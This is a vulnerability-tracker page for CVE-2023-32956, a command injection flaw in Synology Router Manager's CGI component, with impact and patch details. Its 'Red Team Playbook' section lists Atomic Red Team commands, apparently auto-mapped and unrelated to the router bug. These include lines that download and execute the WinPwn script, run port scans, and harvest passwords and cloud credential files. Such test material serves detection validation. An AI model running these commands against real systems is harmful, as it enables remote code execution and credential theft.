CVE-2023-32956
Overview
This vulnerability is an OS command injection flaw caused by improper neutralization of special elements in user-supplied input. The root cause lies in inadequate input validation within a CGI component of Synology Router Manager (SRM), allowing crafted input to be interpreted as OS commands. The affected component is the CGI interface in SRM versions prior to 1.2.5-8227-6 and 1.3.1-9346-3.
Vulnerability Description
Improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability in CGI component in Synology Router Manager (SRM) before 1.2.5-8227-6 and 1.3.1-9346-3 allows remote attackers to execute arbitrary code via unspecified vectors.
Impact
An unauthenticated remote attacker can execute arbitrary OS commands on the affected Synology Router Manager device, gaining full control over the system. This allows compromise of confidentiality, integrity, and availability of the device and network it protects. The attacker requires only network access to the vulnerable CGI interface, with no user interaction or privileges needed, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Consequences include unauthorized data access, device manipulation, and potential lateral movement within the network.
Solution
Synology has released security updates addressing this vulnerability in Synology Router Manager versions 1.2.5-8227-6 and 1.3.1-9346-3. Administrators should apply these updates promptly as detailed in Synology Security Advisory SA-22-25 (https://www.synology.com/en-global/security/advisory/Synology_SA_22_25). No alternative mitigations or workarounds are specified; patching to the fixed versions is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the CGI component of Synology Router Manager (SRM) arises from improper neutralization of special elements used in operating system commands, leading to a critical OS command injection risk. This flaw allows an attacker to manipulate command inputs in a way that can execute arbitrary commands on the underlying operating system. The CGI component, which is responsible for handling requests and responses in the router's web interface, fails to adequately sanitize user inputs. As a result, an attacker can craft malicious requests that exploit this weakness, potentially gaining unauthorized access to the system and executing commands with the same privileges as the web server process.
Attack vectors for this vulnerability are particularly concerning due to the remote nature of the exploitation. An attacker could leverage the web interface of the affected router models to send specially crafted requests that include malicious payloads. These payloads can be designed to execute system-level commands, leading to a full compromise of the device. Scenarios may include gaining access to sensitive data, altering configurations, or even launching further attacks within the network. The ease of exploitation, combined with the high level of access that can be obtained, makes this vulnerability a prime target for malicious actors seeking to infiltrate home or small business networks.
The real-world impact of this vulnerability is significant, especially for users of the affected Synology Router Manager versions. Given the critical CVSS score of 9.8, the risk associated with this vulnerability is categorized as critical, indicating that successful exploitation could lead to severe consequences. For businesses, the potential for data breaches, loss of customer trust, and financial repercussions is considerable. Home users may face unauthorized access to personal information or the use of their network for malicious activities, such as launching attacks on other systems. The implications extend beyond individual devices, as compromised routers can serve as entry points for broader network attacks, thereby increasing the overall risk landscape for organizations and individuals alike.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Synology Router Manager to the latest versions is crucial, as patches are released to address known vulnerabilities. Network monitoring tools should be employed to identify unusual traffic patterns or unauthorized access attempts, which could indicate exploitation attempts. Additionally, employing firewalls and intrusion detection systems can help to block malicious requests before they reach the router. Educating users about the importance of securing their devices, including changing default passwords and disabling unnecessary services, can further reduce the attack surface.
In conclusion, the OS command injection vulnerability in Synology Router Manager poses a serious threat to both individual users and organizations. The potential for remote exploitation, coupled with the ability to execute arbitrary commands, highlights the need for immediate attention and remediation. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, stakeholders can better protect their networks and reduce the risks associated with this critical vulnerability.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synology | Router Manager | All |
cpe:2.3:a:synology:router_manager:*:*:*:*:*:*:*:*
|
|
|
Synology | Router Manager | All |
cpe:2.3:a:synology:router_manager:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-32956 |
| synology.com |
GitHub CVE
vendor-advisory
|
https://www.synology.com/en-global/security/advisory/Synology_SA_22_25 |